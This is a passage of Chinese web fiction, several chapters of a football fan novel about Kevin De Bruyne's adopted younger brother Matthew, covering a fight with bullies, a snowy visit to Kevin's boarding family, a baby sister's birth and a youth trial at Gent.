博尔格本来就看这帮前锋不顺眼,特别是马修和胡尔克。再加上今早他听到了爆炸新闻,贾斯一早就跟他咬耳朵,说:“你知道吗?马修他原来不叫马修,叫马克。” 博尔格:“那怎么了?” 贾斯:“就是说,他是个领养的孩子,根本不是德布劳内家亲生的。” 博尔格:“啊??真的假的?” 这时他们“四小虎”另外一个满脸雀斑的黑发男生靠上来插嘴道:“你们不会才知道吧!我以为你们都知道呢。”他心里琢磨着不知道他是领养的还敢欺负他那么狠,真不愧是博尔格。 “你又知道些什么?”贾斯以为他获得了一手新闻,没想到还有比他早的。 “我姨妈在医院工作,说那年接到了一个异瞳婴儿,当时轰动医院,因为德布劳内夫妇送来的时候,说是捡的,这可是大新闻啊!我以为你们都知道呢。” “对对,不是还登报了吗,咱们这个小镇异瞳者不就只有他一个。”一直跟在博尔格屁股后面拎球包的小老四说道。 贾斯撇撇嘴,觉得自己落后了,不太高兴的说:“害,我以为我掌握的是劲爆新闻呢。” “赶紧说!”博尔格更不高兴,他觉得他像个傻子啥都不知道。 “我伯父在j局工作,给德布劳内夫妇办的领养手续,上周他来我家喝酒喝多了,聊起自己办的稀奇事儿不小心说漏嘴说出了马克这个名字。我刨根问底才套出他的话,马克就是马修,他是德布劳内夫妇捡的。” “我靠!”博尔格听了发出一声惊呼,“怪不得,他长的也不像德布劳内啊!他们一家都是金发,他是棕发,而且他看上去有点亚裔的感觉,我靠!”他眼睛一亮,“那我还怕他个屁!” “可是,博尔格,别忘了他现在姓德布劳内啊!”小老四不识时务地提醒他。 “没事,我有办法让他吃点苦头。到你们大哥显神威的时候了,学着点!”博尔格抬了抬下巴,眼皮耷拉着蔑视着他的这一帮小喽啰。 要不是博尔格有钱,这三个小喽啰才不会跟在他屁股后面唯他马首是瞻。 队内比赛开始了。经过马修刻苦的训练,逐渐对前锋有了自己的理解,左右边锋都可以胜任。 胡尔克踢的就是凯文的位置,他不断地给马修制造进攻的机会,马修一不做二不休,疯狂打门,一口气进了仨,上演了队内帽子戏法,毫无疑问的拿走了本场最佳球员。 教练很满意马修的表现,全然忘了他当时因为心脏的缺陷被拒绝了好几次,现在,他已经成为了一队的进攻核心,但是当队长还有点小。 正当教练犹豫的时候,博尔格跑过来,对教练抱怨道:“马修有病,他不配当队长,我们可不想被一个病秧子领导,再说,你看他那柔弱的气质,谁能服他?” “我服他!”胡尔克喊了出来。 “一边去!你算老几,学费都拿不出来的家伙!”博尔格骂他一句,“要知道训练营的好多装备都是我家赞助的!” 教练脸色沉了下来,心想这小孩炫富炫到我头上来了,难不成我是他家员工?还必须得听他的?教练 7. 手足情深 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 五分钟前,胡尔克一看大事不好,赶紧跑去找支援。结果正好看到凯文德布劳内回来了,他手里拿着奖杯和一些球队纪念品,正站在俱乐部门口。 胡尔克跑的上气不接下气,一把抓住凯文的胳膊,转身就跑,一边跑一边说:“德布劳内,快跟我来!” “怎么了?”凯文跟着他一路小跑,一头雾水,心想:这不是马修的好朋友胡尔克吗。 “马修!马修有危险!”他跑的几乎的说不出话来。 听他喊着马修的名字,凯文一时紧张起来,从跟着他的步伐变成快跑着超过他。 “就是这里!”胡尔克已经跑不动,双手拄着膝盖大口地喘气。 凯文听见里面传来乒乒乓乓的声音,一脚踹开了更衣室的门。 他被眼前的情景吓了一跳。 他弟弟马修正骑在博尔格身上用力的挥着拳头,其他三个人吓傻了正跑过去拉住他的胳膊,然而拳头已经砸在博尔格的左眼眶上,博尔格吓得哇哇大叫。 门被大力踢开,他们几个像被雷击了一样转头看向门口。 凯文走上前,不知道哪里来的力气,一手一个把围攻马修的两人拉起来甩到一边,再一脚把拿着球包准备砸马修头的另一个一脚踹翻在地。 这时,胡尔克也冲进来了,他们四个瞬间觉得不占优势了。 博尔格还被马修骑着狠狠地修理。 博尔格双手抱头,含糊不清地喊道:“别打了别打了,我服了!” 贾斯坐在地上发抖,也哭喊着:“我们没有欺负你弟弟,是你弟弟打我们四个!” “是啊是啊!”另外两个也颤颤巍巍的附和道。 马修见到哥哥,停止了发疯发怒,他被哥哥拉起来,扑进哥哥怀里,两颗砰砰跳的心脏贴在了一起。 “哥哥,对不起…”马修心里酸楚,忍不住要掉下泪来。 “马修,你没有错,我早就想收拾他们四个了。” 凯文看到马修脖子一直到锁骨处被抓出一道血口子,头上也肿起了包,再看博尔格乌青睁不开的左眼,就知道他们之前打的不可开交,幸亏自己来得及时,不然他们四个还不知道怎么欺负马修呢!这几个小霸王,都是小镇臭名昭著的熊孩子,背后还有野蛮无理的熊家长。 博尔格揉了揉自己的左眼,慢慢看清了来人,他的同伙过去拉他,他胡乱的挥舞着胳膊,蹬着腿坐地不起,活像一个满地打滚的三岁小孩。 “我要告你!德布劳内!”他哭叫着,“你们兄弟俩打人!我要把你们送进问题少年收容所!” “博尔格!”马修心理年龄十几岁了,他知道事情的来龙去脉,是,自己打人了,但是是博尔格先动的手,是他先抓住自己的头发往墙上撞的,而自己提前预见了他们几个围殴自己的画面,才暴起反抗的。 “和我哥哥无关,有事冲我来!”他深如寒潭一般的目光落在博尔格狰狞的脸上,瞬间把博尔格的思绪拽去了深渊。 博尔格感觉被逼人的寒气所包围,愈发感到害怕,有点不敢看那双充满怒气的眼睛。 另外三个小孩看到马修从未有过的震慑模样,好像一个大人在训斥他们,那黑色瞳孔深不见底,让他们感到脊背发凉。 而他身后的凯文看上去像一头炸毛的狮子随时要扑过来打人的模样,他们瑟瑟发抖地劝博尔格算了吧,要是被家里知道他们在训练营打架就要让自己回去上学了,而上学对他们来说是最怵头的事。 “两条路,要么尊重,要么滚。”凯文下了命令,他心里有数,治恶人要么比他们更恶,要么让他们自己认识到后果,不然以后他们还得找事。打架这种事,他们比谁都明白,上次就差点被开除。 他们三个争先恐后地跑了,没有一个管地上的博尔格,博尔格失去了爪牙,不得不服软,“那个,回去就说摔倒了,队长。” 他极小声的喊了一声队长,不知道是对凯文还是对马修,说完他就踉踉跄跄的边爬边跑出门。 “哥哥,你怎么回来了?”马修想到前世自己被他们四个围殴,那时他就盼望着有个人能来拯救他,因为他实在难以以一敌四。而现在,他一样陷入被他们四个殴打的困境,好在那个身上有光的人及时出现,用力把他拉出了深海,并给了他依靠。 想着想着,他忍不住落下泪来。 凯文伸手擦干他的眼泪,把他的头紧紧地抱在胸口,低头亲吻了他的鬓角。 “别怕,马修,我不会再让你受欺负的。” 马修抬头看着凯文的眼睛,他的眼睛里也闪烁着亮晶晶的星光。 “多亏了他。”凯文回头看了一眼还未从紧张中平复下来胡尔克,胡尔克摆了摆手,对马修说:“吓死我了,不过,你是真的牛,怎么能一个打四个?” 马修笑了笑,说:“要不是你们来的及时,我早就被揍趴下了。” 凯文搂过他肩膀,说:“走,回家。” 回到家以后,爸爸陪妈妈去医院做检查还没回来,只有保姆阿姨在家。凯文拉着马修第一时间进了卧室,他拿出医疗箱来,用棉签蘸了药膏涂在马修锁骨伤口处,再用冰袋敷在他的头上。 他细心的为他疗伤,而马修只是一味地看着他,眼睛慢慢浮起了雾气。 他们怕爸爸妈妈担心,没有说和博尔格打架的事,只说是摔倒了。一家四口坐在餐桌旁,妈妈分好餐以后,温柔的摸着马修的头,对他说:“马修,哥哥不在身边,你要保护好自己。” 马修点点头,对凯文说:“哥哥一个人在亨克,也要保护好自己。” 凯文笑着点点头,给他的餐盘里放了一大块烤牛肉。 “马修,你多吃点,长得又高又壮才好。” 爸爸看着他们友爱的样子,很是欣慰,他一手一个搂过来,把他们的脸挤扁在自己脸上,还用扎人的胡茬蹭了蹭他们柔软的脸蛋儿,爱意满满的说:“你们呀,都得长得又高又壮,将来保护妈妈和妹妹。” 兄弟俩搓了搓脸蛋,使劲点了点头。 这一晚,他们聊了很久。 马修一直追问凯文,这一周在亨克过的好不好,在寄宿家庭还习惯吗,寄宿家庭有没有给他做他爱吃的牛肉丸炖菜,训练累不累,想家了吗? 12岁的凯文情绪稳定的像个有阅历的大人,他听完这一个又一个的问题,笑着摸摸马修的头,把被子拉到他的腋下,随手关掉了台灯,回到距离他一米半的自己的床上,开始认真的回答他的问题。 就像讲故事一样哄着马修甜甜的睡去。 第二天马修醒来的时候,凯文已经早早出发赶往亨克了。 他昨天说寄宿家庭很好,会给他留门,还会给他带面包。怎么感觉这么不对劲儿呢,留门难道不是最基本的吗?再说,当时他记得爸爸和他们签的协议是车接车送。 还有,带面包是怎么回事?凯文从不爱吃面包,难道是早上不给做饭,带个面包就打发了?这才一个星期就做不到协议里的条款,那以后该怎么办。 马修有些担心离家在外的哥哥踢球之外的生活保障,他好想跟去 8. 爱心汤 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 这一个来小时的车程无比的长,马修怕饭盒里的菜凉了,又因为是去程心里格外着急,可越是着急越是不顺,他们走着走着,雪就越下越大,到了亨克市竟然封路了,他们不得不绕小路,眼看着天色暗下来,小轿车还没驶入城区。 爸爸不停地打电话给司机问他到哪了,电话里还传来妈妈担心的询问,马修听到,妈妈在说,“要不回来吧,马修还没自己出过远门,他还小,乔,你怎么能答应让他去呢,还是这种天气。” 好在爸爸打来第三个电话时,车子开到了目的地。 爸爸妈妈这才放下心,妈妈叮嘱马修,“今晚雪大,明天再回来吧!我和寄宿家庭的阿姨说一声,她会留下你的。明天主干路上的雪清了以后再回来,安全为上。” 马修答应着,他知道妈妈最近有些焦虑,于是安慰道:“放心吧妈妈,司机叔叔会安全的把我送到寄宿家庭再安全带回去的,他是个经验丰富的老司机,不要责怪爸爸,是我求他的,我爱你们。” 到了寄宿家庭门口已经快9点了,那是一个标准独栋,虽然没有家里的房子大,也没有围栏,但看上去还行,大门离街道有一段距离,马修刚要下车走进去,就看到凯文背着球包深一脚浅一脚的回来。 哥哥。他刚想喊出口,一阵风雪吹过来把他的呼喊封在了嗓子眼里,他戴上了羽绒服的帽子,迎着风雪往前走了走。 他看到哥哥紧了紧衣服领子,拖着有些疲倦的身体走到门口,伸手去开门然而并没有打开,他又按响了门铃,还是没人来开。 凯文跺了跺脚,大概是走的路有点多,他的脚都冻麻了。 说好的留门呢? “哥哥。”马修抱着保温袋站在他身后,轻声叫他。 凯文听见马修的声音,忽的转过身来,风雪中看到一个身穿黑色羽绒服的小孩站在离他十几米远的地方,手里抱着一个大大的红色袋子,正向他挥手。 “马修!”凯文惊讶的喊道。 马修有些害羞的往前走,脚踩在雪上发出咯吱咯吱的声音。 “你怎么来了?”凯文把球包往肩上颠了颠,三步并作两步迎了过去。 两兄弟在呼啸的北风中紧紧相拥。凯文抱住马修的头,伸手把他的脸捧在手心里,线手套覆盖在马修的脸上带来一丝暖意。兄弟俩有一个月没见了,很是想念,但这大雪天的,小家伙突然造访还是让凯文感到有些窝心。 “大雪天的,你来干啥?”凯文心疼的责备弟弟。 “我…我做了好吃的给你。”马修拍了拍怀里的袋子,“还温乎呢。” 这时司机叔叔提着一个行李箱过来,是给凯文带的冬季衣服,他径直走到门口,大力拍了拍房门,喊道:“开门!!让孩子们进去!” 连续的拍门声吵到了女主人,她开门时一脸的不耐烦。 “凯文,你又没带钥匙?”她责怪道。 “对不起,史密斯夫人。”凯文回答,“我的钥匙上次弄丢了以后还没给我配新的。” “噢?是吗,我哪有时间。”她一边嘟囔着一边让出位置,不然她肥胖的身子堵住门口连只鸟都飞不进去。 凯文拉着马修的胳膊,对眼前这个大块头女人礼貌的介绍道:“史密斯夫人,这是我弟弟马修,他特地从德龙恩来看我,大雪天请容许他借宿一宿。” 看上去40几岁的家庭妇女面无表情地回答:“你妈妈打过电话了,不过她打电话有点晚,我没有收拾出客房来,今晚大哥哥回来了,所以只能让你弟弟和你挤挤了。” “噢,没关系的。”凯文回答。 大哥哥就是他家上寄宿高中的儿子,周末回家来改善伙食,通常周末的伙食都是不错的。但今天是个例外。 司机叔叔把箱子放进凯文的房间就走了,他会在附近的旅馆凑合一晚上,第二天再来接马修。 而他们家的男主人到现在也没露面。 史密斯夫人把他们领进厨房,厨房里有一个小折叠桌,因为凯文回来得晚,饭菜都收拾起来了,他回来以后会从冰箱里自己拿出给他“留”的晚饭,加热后在小桌上吃,吃完了再把折叠桌收起来恢复原样。 一天两顿饭,一张床,寄宿费用却高达2万欧元一个月,比普通上班族一个月的工资要高上5倍还多。而凯文现在还没有固定收入,他还在青训营,俱乐部承担一部分寄宿费用,剩下的还要自费,虽然这对德布劳内家庭来说寥寥的事,对其他孩子来说可是一笔巨款。 巨款所带来的却不是最优渥的待遇,这让人很不能理解。不知道寄宿资质是怎么获得的,史密斯家庭每年都能进入亨克俱乐部的考察范围。 史密斯女士把折叠桌打开,交待了几句就离开了。她告诉他俩,今晚吃了烤鸡,给凯文留出来了,微波炉热热就行,还让他俩早点睡觉不要吵。 凯文从冰箱里拿出吃剩的烤鸡,马修看见了,只是一个鸡架子而已,肥美的鸡翅鸡腿都不翼而飞了。 “哥哥,咱们不吃那个,吃这个。”说着,马修从保温袋里拿出饭盒,一层一层地打开。 “哇!是德龙恩炖菜!”凯文拉过凳子,和弟弟坐在小小的餐桌旁,开始品尝家乡的美食。 卷心菜的香甜搭配牛肉的奶香还有土豆的绵软,凯文刚吃了一口,就眼睛发亮,控制不住的连连点头称赞。 “好吃吗?”马修把米饭、小番茄、酸黄瓜等配菜也都摆在桌上,看上去还挺丰盛的。 “嗯嗯。”凯文狼吞虎咽地大口吃饭,腮帮子撑的鼓鼓的,吃了几口突然想起来,又从碗架上拿来一个碗,把自己碗里的米饭拨给弟弟一半,“马修,你也没吃饭吧,一起吃。” “嗯,我不饿,你先吃。”马修从家里出来时着急忙慌怕饭菜凉了,连羽绒服都差点忘记穿,以为一个小时就到了,哪知道在路上跑了三个小时,肚子早就饿扁了,但他怕哥哥不够,又想拨回去。 “我吃不了,马修,听话。”凯文拒绝他,又给他盛了一大勺菜,专门挑肉丸给他。 “要知道你来,我就给你买小镇上最好吃的手工巧克力了,是夹心的,味道超级棒。”凯文轻轻叹了口气,感觉自己可以做的不多,还让弟弟看到了有点落魄的境遇。 “下次给我买,我 9. 新成员 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 这天下午,马修和妈妈两个人在家,保姆苏珊去超市买晚上的食材了。 离预产期还有两天,妈妈行动已经非常不便,马修在给妈妈按摩浮肿的腿。 马修的小手不软不硬,好像在妈妈的小腿上弹钢琴一样,刚开始按下去会有凹陷的红白印子,按着按着就不那么肿了,他自己也觉得神奇,妈妈也舒服地靠在沙发上眯起了眼睛。 “我们马修啊,真厉害,妈妈的腿已经不肿了,好啦好啦,休息一会吧。”妈妈怕马修手会累,就不让他按了。 “妈妈,我给你接杯水吧。”马修很乖,他起身去接水。 “不用不用。”妈妈直起腰来,“我也该活动活动了,要不没力气。” 妈妈走到厨房从饮水机里接水。 突然,马修听到啪的一声,是水杯掉在地上的声音,接着看到妈妈一手扶在饮水机前,另一只手撑在腰间,微微向前倾着身体。 吓的马修赶紧跑过去。 “别过来,马修,这有碎玻璃。啊呀!”妈妈皱着眉心,原本冷静的表情此刻看上去有些扭曲,似乎在忍受着巨大的痛苦,脸色也愈发苍白。 马修有一种强烈的预感,妈妈要临盆了。 他吓的不知所措,心脏砰砰乱跳,站在哪里不知道该做什么,对,叫救护车,他脑中第一反应是叫救护车。 他赶紧跑过去拿起家里的座机拨通了急救电话,他一边报着家庭住址一边看着妈妈无力地坐到了地上,心里急的马上要哭出来,手不停地发抖,他告诉自己冷静,冷静,直到清晰完整地说出家庭住址来,才稍微喘口气。 妈妈还安慰他,“别怕马修,妈妈没事的,妈妈会坚持住的。” 马修的手心紧张的直冒汗,还一直抖个不停,他强迫自己镇定下来,接着又给爸爸,保姆阿姨打了电话,让他们快点赶回来。 打完电话他跑过去抱着妈妈的肩膀,用尽全身的力气给妈妈支撑,当他抱住妈妈的时候,妈妈立刻感到周身萦绕着一团舒适又放松的安全感,好像马修不是一个小孩子,而是一个可以靠得住的小伙子。 如果马修可以,以他21岁的年龄,是可以抱起妈妈,开车直奔医院的,可是现在他恨自己什么都做不了。 这10分钟对马修来说简直要比一个世纪都长,好在妈妈靠着他肩膀只是轻轻地喘息,并没有喊疼。 救护车要走的时候,恰好爸爸和保姆阿姨一前一后地赶回来了,他们一起上了救护车。 爸爸让保姆阿姨在家陪马修,保姆阿姨怕爸爸一个人搞不定,再说她有经验,主动要求去照顾太太,马修自告奋勇地说:“没关系的,爸爸,你们快去吧!我一个人在家不要紧!” 他们只好拿上证件,跟着救护车走了。 时间一分一秒地过去了,马修一个人在家等到晚上9点,电话依然没有动静,他甚至拿起来听听是不是电话坏了。 又过去了2个小时,马修躺在床上睡不着,心里乱糟糟的,他想给哥哥打个电话,又怕影响哥哥睡觉,但此刻的自己真的好害怕,他不是怕一个人在家,而是怕妈妈有什么危险。 他跑过去拿起电话刚拨过去一串号码,又挂断了,这时哥哥应该睡了吧,怎么办,他犹豫不决。 正想着,电话响了,他赶紧接起来,以为是爸爸打来报平安的,结果竟然是哥哥。 “怎么了,马修,这么晚打电话有事吗?” 刚才的电话还是拨出去了,只响了一声,哥哥就回过来了。 “哥哥……”马修随即眼眶一温,不争气的眼泪又要涌出来,怎么重生后,眼眶这么浅,老是想哭呢,明明我是个大人啊,这小小的身体怎么这么不听话,他揉了揉酸涩的眼睛,吸了吸鼻子。 “嗯,我在呢,是不是妈妈有什么事?”凯文似乎听出来马修有什么不对劲。 “妈妈住院了,我好害怕。” “不怕,马修,妈妈会没事的。”凯文听了,也感到一阵揪心,但语气依然是温和缓慢的,他试图安抚年幼的弟弟,让他不要那么担心,其实他自己也是六神无主,害怕的要命。 “本来一切好好的,妈妈打算后天去住院,没想到妈妈去接水就……都怪我不好,妈妈行动不便,我应该照顾好她的,怎么办。”马修带着哭腔,本不想让哥哥担心的他此刻也难以控制自己的情绪,实在是又紧张又害怕。 凯文知道妈妈后天去住院,就是怕有什么意外导致预产期提前,结果还是提前了。 “马修,你不要自责,现在医疗发达,我们唯一能做的就是为妈妈祈祷,相信妈妈会平安无事的。” “嗯…哥哥,你明天回来吗?” “嗯,我明天回去。” …… 又过了一个小时,爸爸终于打电话回来,他告诉马修:“马修,恭喜你!拥有了一个妹妹!” “啊!太好了爸爸!呜呜……”马修听了激动的哭出声来,他感谢爸爸没忘了告诉他这个好消息,要不他这一宿都要睡不着了。 “妈妈呢?”马修立刻问道。 “妈妈没事,她很好,她说谢谢你临危不惧拨打了急救电话,很及时!马修,谢谢你,我的乖儿子!”爸爸高兴地说。 刚挂了电话马修立即给凯文打电话报平安,哥哥一定也在等消息,他猜对了,电话还是响了一声,那边就接起来了。 “妈妈和妹妹很好,凯文!我太高兴了!”马修一兴奋直接叫出了他的名字。 “嗯,叫哥哥。”凯文高兴之余仍不忘提醒他,他对这个称呼有难以描述偏爱。 “哥哥!哥哥!哥哥!我们有妹妹了!”马修大叫道。 “嘘——” …… 第二天,凯文和马修都向俱乐部请了假,爸爸派人把他们拉到医院,兄弟俩在医生的帮助下穿好隔离服,手用酒精消了毒,蹑手蹑脚的走进病房。 德布劳内夫妇转入独立病房,所以才允许小孩子来探视。 他 10. 邻居的抱怨 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 凯文在德龙恩的时候一直被誉为足球天才,这使得他小小年纪就被球探相中,转而效力于亨克俱乐部。 在凯文心里,欧文和齐达内是他的偶像,自己想成为像他们那样的人物,而在马修心里,哥哥是他唯一的偶像,也要他一生要追逐的人。 马修也热爱足球,尽管上辈子14岁了还在德龙恩二队打杂,训练成果并不出彩,但他对足球的热爱只增不减。 从他可以和哥哥抢球开始,就使出浑身解数来提升自己的球技,无奈因为心脏病的缺陷,被限制大幅度过量运动,包括一些职业动作。 球队的心理测试也测出他存在一定程度的讨好型人格,这让他在球队里缺乏一定的攻击性,身为一个前锋,永远保持进攻是立身之本,当初教练把他放到前锋的位置上一是要磨练他的性子,二是看中了他奔跑的速度和永不放弃的精神。 随着年龄的增长,马修的球技也日渐提升,心脏病还没有对他的运动产生过干扰,事实上,在比赛中他比正常人还要兴奋,他想证明给很多人看,他被冠以先天性心脏病这个人生bug实际上只是一个医疗事故。 马修只要有时间,除了踢球之外就是坐在电视机前看足球比赛,特别是有亨克比赛的转播,他觉得自己得了一种叫“亨克”的病,亨克比赛日他就会像浑身长了刺一样坐立不安,然后早早回家守候在电视机旁。 那是因为哥哥会出场,而亨克青年队在比利时青年足球联赛中是一只劲旅。 “马修…马修!”爸爸叫他的名字,那是因为他在聚精会神地盯着电视中的比赛,尽管还没看到哥哥出场。 “儿子,不要离屏幕太近。”爸爸在他眼前挥了挥手,把他的视线从离电视3英尺的距离给捞回来。 “哦,对不起,爸爸。”他道歉后,把膝盖往后挪了挪,但眼睛还一直盯着屏幕。 “爸爸!爸爸!”他大叫道:“哥哥出场了!” 爸爸也放下手里的吸尘器,和他一起坐在电视前的坐垫上看凯文的比赛。 这是第几次转播,马修不记得,但是随着摄像机的转动,他看到哥哥又在上演一场决心要赢下比赛的表演。他不停地奔跑,像一只金色的小狮子,用他灵活的双脚去寻找空间做一些让比赛看上去十分惊险的事情。 这时,当对方的后卫进行一个斜长传时出现了失误,亨克的守门员,对,就是库尔图瓦,他率先冲了出来,因为在禁区外,他没有捡起来,而是用脚尽可能地长传找到了在中线附近的凯文。 球精准地落在了凯文的右脚,他向前带了几步,就在弧顶附近,他突然内切晃过了一名防守队员,此刻他没有迟疑,因为他的小腿有足够的力量。 梆!凯文把球踢过了最后一名防守队员和守门员,球擦着草皮好像拖着一条火尾被大力送进了网窝。 Goooooaaaaaalllllll!!!!!!! “哇哦!!!太棒了!!!!”马修和爸爸激动地拥抱在一起。 “嘘——”妈妈刚哄妹妹睡着,来到客厅就看到他俩抱在一起庆祝的画面。 他俩赶紧捂住了嘴巴,抱歉地冲妈妈笑笑,妈妈也坐过来和他们一起看凯文的比赛。 凯文在空中挥拳,然后像冠军一样把双臂举过头顶,跑到摄像机对着他的位置,向着屏幕送出一记飞吻。 汗津津的湿发贴在他的面颊上,遮盖住他脸上浮起的红晕。马修被他的快乐所感染,眼睛一眨不眨地盯着快要冲出屏幕来和他拥抱的人,心里想:这时候的他还是长发,脸也是圆的,看上去可可爱爱的,等到了国家队,他就变成一个棱角分明的寸头小帅哥。 凯文和奔向他的队友一一庆祝,又向给他送上助攻的守门员遥望着挥手致意。 这场比赛,亨克6:2战胜了对手,凯文进了4个! 这极大地激励了马修,看着哥哥左右脚大力轰门给对方大门造成的伤害,马修羡慕极了,什么时候我也能变成一个进球机器,哥哥还是中场组织核心,而我是一个前锋,我更应该成为进攻的尖端。 从此,他训练回来还要和邻居小伙伴们在自家的院子里继续踢球。随着他球技的进步,他交到了一些新的朋友。 这天,他和小伙伴们在院子里踢球,他家邻居肯特大叔隔着栅栏向他们呼喊:“嘿,小家伙们!请小心我的花坛!” 然而孩子们专心抢球,没人听到肯特大叔喊得什么。马修更是像被足球施了魔咒一般,完全没有注意周围的情况。 “马修!哦!看在上帝的份儿上!马修!!!” 话音未落,马修一脚把球踢飞,正中花坛中央,整个花坛被毁了! “噢!!我的天!”马修和肯特大叔同时叫到。 “对不起!”马修抱头不敢相信眼前的事实。 肯特大叔气呼呼地找到马修的父亲,面对他邻居德布劳内先生的连声道歉并承诺尽快给他恢复原样,肯特十分沮丧又无可奈何地说:“德布劳内先生,这是第二个了,不知道您还记得吗,三年前,我是说凯文还没走的时候,他俩已经踢废了我一个花坛了。” “真的很抱歉,我也记得,给您修了好久。”乔德布劳内扶额表示遗憾。 最后他们达成协议,像凯文那样,皮球换成塑料球,而且必须用弱脚来踢。 不过他们是多年的邻居,互相都很熟悉,也一直相处的不错,肯特走的时候,又半开玩笑地说:“德布劳内先生,我希望您家不会再培养一个女足出来。” “哈哈哈……”乔德布劳内尴尬地笑笑。 “真的十分抱歉。”马修低着头给爸爸道歉,左手还抱着心爱的足球。 “没关系,马修,不用太自责。”爸爸揉揉他湿哒哒的发梢,“你哥哥就是这么踢出来的,你忘了吗?踢就行,善后的事我来做。” 马修抬起头看着爸爸鼓励的眼神,心里流淌过一阵暖流,要知道以前他惹了祸免不了一顿毒打,每天都像走在刀锋上,现在他真的得到了父爱,这不是在做梦。 马修在和邻居的协议中同样得到了锻炼,他很快就适应了左脚踢球,这样,白天在训练营主练右脚,晚上回家死磕左脚,塑料球不好控制经常踢飞,他学会了左脚小力控制,绷起脚背尽量把球压住,这使得他很快便拥有了两只神奇的脚,和凯文一样,他也已经做好了要成为一名职业足球运动员的准备了。 和凯文说起来,凯文也憋不住笑:“马修,我们俩是不是要好好感谢一下肯特大叔,他在使我们成为优秀的球员道路上狠狠地助攻了一把。” “嗯,是的,哥哥,咱们要怎么感谢他呢?”马修天真地问道。 “给他修十个花坛。” “啊哈哈哈哈……” < 11. 根特试训 《[足球]异瞳者(德布劳内是我哥哥)》全本免费阅读 和马修一起被相中的还有他亲密的队友,那个有非洲裔血统的中场胡尔克。 他俩是这届被选中的年龄最小的球员,彼此也算有个伴。沾了小马修的光,胡尔克也一起乘坐德布劳内家的专车来到了人生地不熟的根特市。 他们带着德龙恩的荣耀和期许,加入了根特这支比甲球队,先是在青少年队试训,也就是一线队的后备力量。 “哇哦!这地方可真大!”他们俩绕着训练场一边转圈一边惊叹道。 “听说根特的主场比这还大!大概可以容纳1万人。”马修早就做好了功课。 “啊?”胡尔克一脸的不可思议,他心里不淡定了,他看了看一脸稚嫩,目光却无比坚毅的马修说道:“咱们会使球场坐满吗?别到时候只来几百人,其中还包括咱们球队所有人的家属。” “嘿,胡尔克,你永远不会知道。”马修看上去十分乐观地说。 很快他们就融入了根特这支队伍,可根特这支队伍却花了一些时间来接纳他们。 他们穿上了蓝白相间的球衣,人人都知道亨克的德布劳内已经小有名气,正在青年队里坐镇中场,并且场场都有收获,他的弟弟也能踢出来吗? 还没等适应一段日子,队内队外都把马修和他哥哥比来比去,比完的结果就是,马修还差得远呐。但对于和哥哥比较,马修感到荣幸。 为了区别于哥哥,马修的球衣印的是M.De Bruyne,号码是77号。 偌大的球场带来的不仅是视觉上的冲击,连草都是软的,香的,马修一边想着:我会习惯在这样的球场上踢球的!然而却时不时的回忆起在德龙恩踢球的日子。 在德龙恩,他小小年纪就成为队里的核心人物和进球精灵,每次进球,佩里教练都会大声地表扬他:“干得好!马修!” 久而久之,队里那些看他不顺眼的,以前欺负过他的队友们也都渐渐放下了偏见,因为以他为进攻核心,他们品尝到了胜利的滋味,也使得小小的德龙恩成为了盛产职业足球运动员的摇篮。 可到了根特,马修品尝到的是一次又一次的失败。从输球开始。 他讨厌输球,然而在二队里,不管他多么努力,即便是从第一分钟跑到最后一分钟,也很难得到有效的传球,这就好比在浪费能量,在做50组跑楼梯和200个深蹲,是如此的枯燥乏味,让人看不到头。 除了输球还有孤立。他一双异瞳总是被人嘲笑,有一次一个队友竟趴在他脸上,问他,你的眼睛能聚焦吗?引得其他人哄笑。 胡尔克为他说话,“他的眼睛不仅能聚焦,还能杀人于无形。”这更让人发笑了。 “胡尔克…”马修有些难堪的说,“谢谢你,不过,不用解释。” 除了踢球,教练对他们的管理十分严格,连球袜都必须在它该在的位置上,谁要是邋遢或者有拖延症,球场上跑十圈。新人就好像后辈一样被勒令做很多事情,教练不在的时候,那些大一点的老球员们就会把活都扔给新人们做,抱怨也无济于事,谁不是这样过来的呢? 他想到哥哥刚去亨克的时候也是这样,被当成新人呼来喝去,还要接受无端的质疑和冷落,可哥哥才不吃那一套,他除了不把委屈和家里人说之外,对外人可是霸气回应。 私下里,他像个小炸药包,无论谁安排他做事,他都会给他脸色看,并暴躁的说上一句:“不要告诉我该做什么!” 而在训练比赛中,他告诉别人该做什么。 “不!你只需要传给我!”他大声地训斥他的队友。 “哦,你在干什么?抓住他!”他对他的后卫喊。 “嘿!你为什么不射门!”他对他的前锋吼。 “我的天!”他坐在地上看着失败后的队友们,无力吐槽,嗓子都talk坏了。 这些,都是马修去看哥哥的时候,哥哥亲口告诉他的,“没一个听话的,除了那个傻傻的像你一样的守门员。” 如今在根特,马修也面临这样的情况。他就像一根小草,无人问津,更没有人传球给他,除了胡尔克,但胡尔克作为中场来说并不是很出色,经常打替补。 “在球场上你必须证明自己,在训练中也是。”教练经常对他耳提面命,把不持球的责任归咎给他。然而,凯文却告诉他,你要坏一点! “因为我很少在更衣室里讲话,队友们都以为我是个安静且容易害羞的人,他们错了!” “并且,我听过最多的话是,这个新来的孩子他以为他是谁,总是教我们该做什么,我们是不是该揍他一顿?” “后来,他们没有一个不愿意和我踢球,因为我让足球看上去如此的简单和快乐,当然最重要的是我向他们展示了我的实力,让他们不得不对我刮目相看,甚至心服口服,连我的大胆和傲慢都接纳了。” “所以,马修,要坏一点,像我一样!” 凯文在一个休息日来到根特看望马修,并陪他在球场上加练,说起训练比赛,兄弟俩无话不谈。 “哥哥,你一点都不坏,甚至还有些可爱。”马修听他一本正经的教育他,眨巴眨巴水汪汪的大眼睛,一脸崇拜的说。 凯文蜷起手指在他的额头上弹了一个脑瓜崩,“说哥哥可爱是不是要受到惩罚?” “啊!”马修轻叫一声,“哥…” 还没等他把哥哥这个词叫出口,凯文就抬起手用虎口卡住他的后脖颈,把他拉进自己怀里,再用另一只手揉搓了他的耳朵。 马修立刻缩成小小的一团,接受着哥哥有些粗鲁的惩罚,被他放开时,两只耳朵好像要滴下血来,红温的不堪入目。 凯文和弟弟约定好,放假了就来看他。马修看着哥哥雪白的还带着一丢丢婴儿肥的小脸蛋,连点点雀斑都那么可爱,头发短的像个金色的猕猴桃,一点都不像外界说的那样,是一个易燃易爆的煤气罐,在马修眼里,他是一个温柔多情的小雪人,总能让自己看到生命里的光。 